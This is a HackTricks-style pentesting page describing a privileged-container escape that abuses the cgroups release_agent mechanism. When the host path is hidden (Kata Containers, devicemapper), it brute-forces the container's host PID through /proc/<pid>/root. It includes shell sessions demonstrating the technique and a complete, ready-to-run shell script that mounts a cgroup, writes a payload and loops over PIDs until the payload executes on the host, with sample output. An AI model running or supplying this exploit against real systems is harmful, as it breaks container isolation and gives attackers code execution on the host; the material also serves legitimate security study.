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release_agent exploit - Relative Paths to PIDs
Introduction
The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example overlayfs, however there are configurations which did not obviously disclose the host file system mount point.
In this PoC instead of using the path where the container is located inside the hosts filesystem, we are going to discover a container PID inside the host a
Examples of container not exposing the path location inside the host
Kata Containers
root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
Kata Containers by default mounts the root fs of a container over 9pfs. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine.
Device Mapper
root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
I saw a container with this root mount in a live environment, I believe the container was running with a specific devicemapper storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment.
PoC
The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere.
/proc/<pid>/root
The Linux /proc pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the /proc directory of the process on the host:Container
root@container:~$ sleep 100
root@host:~$ ps -eaf | grep sleep
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
-r-------- 1 root root 0 Nov 19 10:04 auxv
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
--w------- 1 root root 0 Nov 19 10:04 clear_refs
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
...
As an aside, the /proc/<pid>/root data structure is one that confused me for a very long time, I could never understand why having a symbolic link to / was useful, until I read the actual definition in the man pages:
/proc/[pid]/root
UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot(2) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/*.
Note however that this file is not merely a symbolic link. It provides the same view of the filesystem (including namespaces and the set of per-process mounts) as the process itself.
The /proc/<pid>/root symbolic link can be used as a host relative path to any file within a container:
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme
{% hint style="warning" %} This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of any process running in the container. {% endhint %}
Pid Bashing
This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The init process is assigned process id 1 and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
Host
root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme
Putting it All Together
To complete this attack the brute force technique can be used to guess the PID for the path /proc/<pid>/root/payload.sh, with each iteration writing the guessed pid path to the cgroups release_agent file, triggering the release_agent, and seeing if an output file is created.
The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this should not cause reliability issues, but don’t quote me on that.
The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the cgroups release_agent functionality:
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Executing the PoC within a privileged container should provide output similar to:
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200
Done! Output:
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 11:25 ? 00:00:01 /sbin/init
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
References
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
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Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
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